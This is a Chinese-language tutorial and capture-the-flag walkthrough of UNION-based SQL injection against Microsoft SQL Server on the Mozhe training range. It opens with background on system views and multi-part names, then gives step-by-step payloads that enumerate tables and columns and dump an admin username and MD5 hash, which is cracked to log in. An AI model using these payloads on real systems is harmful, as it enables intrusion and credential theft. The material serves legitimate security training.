sql server(mssql)聯合注入
sql server(mssql)聯合注入
- sql server簡介:
- SQL Server 是Microsoft 公司推出的關係型資料庫管理系統。具有使用方便可伸縮性好與相關軟體集成程度高等優點,可跨越從運行Microsoft Windows 98 的膝上型電腦到運行Microsoft Windows 2012 的大型多處理器的伺服器等多種平台使用。
1. 前置知識
- 以下資料均來自:sql server聯機叢書:
1.1 sql server資料庫內置函數:
- DB_NAME ( [ database_id ] ):如果對 DB_NAME 的調用省略 database_id,則 DB_NAME 返回當前資料庫的名稱;如果不省略,則返回對應資料庫id的資料庫名稱
- COL_NAME ( table_id , column_id ):
- 參數:
- table_id:包含列的表的標識號。table_id 的類型為 int。
- column_id:列的標識號。column_id 參數的類型為 int。
- 作用:據指定的對應表標識號和列標識號返回列的名稱。
- 參數:
- OBJECT_ID ( ‘[ database_name . [ schema_name ] . | schema_name . ] object_name’ [ ,’object_type’ ] )
- 參數:
- object_name:要使用的對象。object_name 的數據類型為 varchar 或 nvarchar。如果 object_name 的數據類型為 varchar,則它將隱式轉換為nvarchar。可以選擇是否指定資料庫和架構名稱。
- object_type:架構範圍的對象類型。object_type 的數據類型為 varchar 或 nvarchar。如果 object_type 的數據類型為 varchar,則它將隱式轉換為 nvarchar。
- 作用:返回架構範圍內對象的資料庫對象標識號。
- 參數:
- @@VERSION
- 作用:返回當前的 SQL Server 安裝的版本、處理器體系結構、生成日期和作業系統。
1.2 sql server資料庫的系統視圖
以下系統視圖在資料庫創建之初就會默認創建,存在於每一個資料庫中
- sysobjects:
- 準確的來說應稱 sysobject 為系統視圖,而不是表;不過在sql server2000版本及以前它的確是作為表而存在的。
- 作用:這張視圖存儲量該資料庫內每一個對象(包括約束、默認值、日誌、規則、存儲過程等),每一個對象為其中的一條記錄
- 擁有的欄位名(這裡只介紹資料庫提供支援的欄位):
* 列名 數據類型 說明 name; sysname; 對象名 id; int; 對象標識號 uid; smallint; 對象所有者的架構 ID。__對於從舊版 SQL Server 升級的資料庫,架構 ID 等於所有者的用戶 ID。__ parent_obj; int; 父對象的對象標識號。例如,表 ID(如果父對象是觸發器或約束)。 crdate; datetime; 對象的創建日期。 ftcatid; smallint; 註冊為使用全文索引的所有用戶表的全文目錄標識符,對於沒有註冊的所有用戶表則為 0。 schema_ver; int; 在每次更改表的架構時都會增加的版本號。始終返回 0。 xtype; char(2); 對象類型。可以是以下對象類型之一: AF = 聚合函數 (CLR) C = CHECK 約束 D = 默認值或 DEFAULT 約束 F = FOREIGN KEY 約束 L = 日誌 FN = 標量函數 FS = 程式集 (CLR) 標量函數 FT = 程式集 (CLR) 表值函數 IF = 內聯表函數 IT = 內部表 P = 存儲過程 PC = 程式集 (CLR) 存儲過程 PK = PRIMARY KEY 約束(類型為 K) RF = 複製篩選存儲過程 S = 系統表 SN = 同義詞 SQ = 服務隊列 TA = 程式集 (CLR) DML 觸發器 TF = 表函數 TR = SQL DML 觸發器 TT = 表類型 U = 用戶表(__我們在這裡使用的就是這個參數__) UQ = UNIQUE 約束(類型為 K) V = 視圖 X = 擴展存儲過程
- syscolumns
- 作用;為每個表和視圖中的每一欄位返回一行,並為資料庫中的存儲過程的每個參數返回一行
- 擁有的欄位名(這裡只介紹資料庫提供支援的欄位)
列名 數據類型 說明 name sysname 列名或過程參數的名稱。 id int 此列所屬表的對象 ID,或者與此參數關聯的存儲過程的 ID。 xtype tinyint sys.types 中的物理存儲類型。 typestat tinyint 標識為僅供參考。不提供支援。不保證以後的兼容性。 xusertype smallint 擴展的用戶定義數據類型的ID。如果數據類型的數字超過 32,767,則溢出或返回 NULL。有關詳細資訊,請參閱查詢 SQL Server 系統目錄。 length smallint sys.types 中的最大物理存儲長度。 colid smallint 列 ID 或參數 ID。 cdefault int 此列的默認值的 ID。 domain int 此列的規則或 CHECK 約束的 ID number smallint 過程分組時的子過程號。0 = 非過程項 容性。 offset smallint 此列所在行的偏移量。 collationid int 列的排序規則的 ID。對於非字元列,此值為 NULL。 status tinyint 用於說明列或參數的屬性的點陣圖: type tinyint sys.types 中的物理存儲類型。 usertype smallint sys.types中的用戶定義數據類型的 ID。如果數據類型數超過 32767,則會發生溢出或返回 NULL。有關詳細資訊,請參閱查詢 SQL Server 系統目錄。 prec smallint 此列的精度級別。-1 = xml 或大值類型。 scale int 此列的小數位數。NULL = 數據類型不是數值。 iscomputed int 指示列是否為計算列的標誌:0 = 非計算列。1 = 計算列。 isoutparam int 指示過程參數是否為輸出參數:1 = True 0 = False isnullable int 指示列是否允許空值:1 = True 0 = False collation sysname 列的排序規則的名稱。如果不是基於字元的列,則為 NULL。
1.3 Transact-SQL 語法約定 –> 多部分名稱
- 這部分知識用來理解sql語句:select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),’3′,null 中, mozhe_db_v2.dbo.sysobjects 的命名格式的含義。
- 多部分名稱:
- 除非另外指定,否則,所有對資料庫對象名的Transact-SQL引用將是由四部分組成的名稱,格式如下:
server_name .[database_name].[schema_name].object_name | database_name.[schema_name].object_name | schema_name.object_name | object_name
- 解釋說明:
- server_name:指定鏈接的伺服器名稱或遠程伺服器名稱。
- database_name:如果對象駐留在 SQL Server 的本地實例中(說人話就是你操作的資料庫在本地),則指定 SQL Server 資料庫的名稱。如果對象在鏈接伺服器中,則 database_name 將指定 OLE DB 目錄。
- schema_name:如果對象在 SQL Server資料庫中,則指定包含對象的 架構的名稱(對於從舊版 SQL Server 升級的資料庫,
架構 ID
等於所有者的用戶 ID
)。如果對象在鏈接伺服器中,則 schema_name將指定 OLE DB 架構名稱。 - object_name:對象的名稱。
- 注意:
- 引用某個特定對象時,不必總是指定伺服器、資料庫和架構供 SQL Server資料庫引擎標識該對象。但是,如果找不到該對象,將返回錯誤。
- 對於從舊版 SQL Server 升級的資料庫,
架構 ID
等於所有者的用戶 ID
- 若要省略中間節點,請使用句點來指示這些位置。下表顯示了對象名的有效格式。
server . database . schema . object 四個部分的名稱。 server . database .. object 省略架構名稱。 server .. schema . object 省略資料庫名稱。 server ... object 省略資料庫和架構名稱。 database . schema . object 省略伺服器名。 database .. object 省略伺服器和架構名稱。 schema . object 省略伺服器和資料庫名稱。 object 省略伺服器、資料庫和架構名稱。
- 除非另外指定,否則,所有對資料庫對象名的Transact-SQL引用將是由四部分組成的名稱,格式如下:
1.4 關於對象、架構(結合 1.3的多部分名稱理解 )
- 對象:在sql server資料庫中,表,視圖,函數等都被看作為 「(安全)對象」。每一個對象都有其 「對象名」 以及其 「對象ID」。
- 架構:架構是指包含
表、視圖、過程等對象
的容器
。它位於資料庫內部,而資料庫位於伺服器內部。這些實體就像嵌套框放置在一起。伺服器是最外面的框,而架構是最裡面的框。架構 包含下面列出的所有【安全對象】,但是它不包含其他框。必須位於架構內部的安全對象 類 類型 TYPE XML 架構集合 XML SCHEMA COLLECTION 表 OBJECT 視圖 OBJECT 過程 OBJECT 函數 OBJECT 聚合函數 OBJECT 約束 OBJECT 同義詞 OBJECT 隊列 OBJECT 統計資訊 OBJECT
- 默認架構
- 為了解析不完全限定的安全對象名稱,SQL Server 2000使用名稱解析來檢查執行調用的資料庫用戶所擁有的架構和 dbo 所擁有的架構。
- DBO是系統的默認架構,DBO作為架構來定義對象,能夠使資料庫中的任何用戶引用而不必提供架構名稱。DBO架構的所有者默認是dbo賬戶。
- sys也是系統的默認架構,sys架構的所有者默認是sys賬戶。
- 注意:
- 特定架構中的
每個安全對象都
必須有唯一的名稱
。架構中安全對象的 「完全指定名稱」 包括此安全對象所在的架構的名稱
。因此,架構也是命名空間。 - 【在 SQL Server 2000 和早期版本中】,資料庫可以包含一個名為 「架構」 的實體,但此實體實際上是 「資料庫用戶」;【在 SQL Server 2005 中】,架構行為已更改。架構不再等效於資料庫用戶。現在,每個架構都是獨立於創建它的資料庫用戶存在的不同命名空間。
即:在 SQL Server 2005 和 SQL Server 2008 中
,架構既是一個容器,又是一個命名空間,且架構只能有一個所有者,但一個用戶可以擁有多個架構。
- 特定架構中的
2.mssql 聯合注入流程
- 判斷注入點
- 判斷當前注入點所查詢的欄位數
- 確定顯示位
- 查詢當前資料庫名,當前資料庫的版本號
- 查詢當前資料庫中有多少張表
- 查詢資料庫中的所有表名
- 查詢表中有多少欄位
- 查詢每一個欄位的名稱
- 判斷manage表中有多少條記錄
- 查詢帳號密碼
3. 靶場實戰(這裡以「墨者」的的靶場為例)
- 靶場網址://www.mozhe.cn/bug
3.1 判斷注入點
- payload:
?id=2 and 1=1 -- 頁面返回正常 ?id=2 and 1=2 -- 頁面返回出錯
- 由下圖可分析得:存在注入點,且為數字型注入
- 由下圖可分析得:存在注入點,且為數字型注入
3.2 判斷當前注入點所查詢的欄位數
- payload
?id=2 order by 4 -- 頁面返回正常 ?id=2 order by 5 -- 頁面返回失敗
- 由下圖分析可得:判斷當前注入點所查詢的欄位數為:4
- 由下圖分析可得:判斷當前注入點所查詢的欄位數為:4
3.3 確定顯示位
- payload:
?id=2 and 1=2 union all select null,null,null,null ?id=2 and 1=2 union all select 'null',null,null,null ?id=2 and 1=2 union all select null,'null',null,null -- 出現顯示位 ?id=2 and 1=2 union all select null,null,'null',null -- 出現顯示位 ?id=2 and 1=2 union all select null,null,null,'null'
- 由下圖分析可得:顯示位出現在 2號 和 3號 位。
- 這裡說明一下,為什麼sql server與mysql 確定顯示位的方法不同:
- 原因是sql server資料庫是強數據類型,即union關鍵字前後的select查詢所查詢的欄位的數據類型必須相同(mysql可以不同),這就導致在我們不知道union關鍵字前面的數據類型的前提下,必須先使用 null數據類型 來充當欄位。然後依次為 null 加單引號使其變為字元串類型,如果加上單引號使null變為的字元串類型與union前面對應的欄位類型相同,就自然會在頁面中回顯出顯示位。
- 由下圖分析可得:顯示位出現在 2號 和 3號 位。
3.4 查詢當前資料庫名,當前資料庫的版本號
- payload:
?id=2 and 1=2 union all select null,db_name(),@@version,null
- 由下圖我們可以得出:當前資料庫名為 mozhe_db_v2
- 由下圖我們可以得出:當前資料庫名為 mozhe_db_v2
3.5 查詢當前資料庫中有多少張表
- payload1:
?id=2 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.sysobjects where xtype='u'),@@version,null
- 由下圖的回顯可知:當前資料庫存在2張表
- 為了讓我們更深入的理解上述sql語句以及sql server的機制,在此借題發揮一下,請同學們結合我前面所介紹的「前置知識–>Transact-SQL 語法約定–>多部分名稱」 來判斷一下,下面的payload是否可以達到與上面payload相同的效果?
payload2:?id=1 and 1=2 union all select null,(select count(*) from ...sysobjects where xtype='u'),@@version,null payload3:?id=1 and 1=2 union all select null,(select count(*) from sysobjects where xtype='u'),@@version,null payload4:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2..sysobjects where xtype='u'),@@version,null payload5:?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.sysobjects where xtype='u'),@@version,null
- 下圖是以上payload的執行結果:
- 我們可以看出,只有payload5執行失敗了。
- 由下圖的回顯可知:當前資料庫存在2張表
3.6 查詢資料庫中的所有表名
- payload:
- 查詢第一張表名:
?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',null
- 查詢第二張表名:
?id=1 and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name<>'manage'),'3',null
- 顯然 manage 表是我們所需要的。
- 查詢第一張表名:
3.7 查詢表中有多少欄位
- payload:
?id=1 and 1=2 union all select null,(select count(*) from mozhe_db_v2.dbo.syscolumns where id=object_id('manage')),'3',null
- 由圖分析可知:manage表中存在3個欄位。
- 由圖分析可知:manage表中存在3個欄位。
3.8 查詢每一個欄位的名稱
- payload:(使用col_name()函數)
- 查詢manage表的第一個欄位名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),1) ),'3',null
- 查詢manage表的第二個欄位名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),2) ),'3',null
- 查詢manage表的第三個欄位名
?id=1 and 1=2 union all select null,(select col_name(object_id('manage'),3) ),'3',null
- 顯然欄位 username 與 password 是我們所需要的
- 查詢manage表的第一個欄位名
- 其實在這裡我們也可以使用以下payload來查詢欄位名(使用了syscolumns系統視圖,不使用col_name()函數)— 關於syscolumns系統視圖請看 前置知識
-- 查詢manage表的第一個欄位名 ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage')),null,null -- 查詢manage表的第二個欄位名 ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id'),null,null -- 查詢manage表的第三個欄位名 ?id=2 and 1=2 union all select null,(select top 1 name from syscolumns where id=object_id('manage') and name<>'id' and name<>'username'),null,null
3.9 判斷manage表中有多少條記錄
- payload:
?id=1 and 1=2 union all select null,count(*),null,null from manage
- 由下圖可知,manage表中存在 1 條記錄
- 由下圖可知,manage表中存在 1 條記錄
3.10 查詢帳號密碼
- payload:
?id=1 and 1=2 union all select null,username,password,null from manage
- 由下圖可知,帳號密碼為:admin_mz/72e1bfc3f01b7583
- 顯然這裡的密碼是經過MD5加密後的,那麼我們就通過網站 //www.cmd5.com 進行解密,得到明文:97285101。所以帳號密碼:admin_mz/97285101
- 由下圖可知,帳號密碼為:admin_mz/72e1bfc3f01b7583
3.11 登錄後台拿flag
- KEY: mozhe3ecd86b639e1b4af48c27353ab0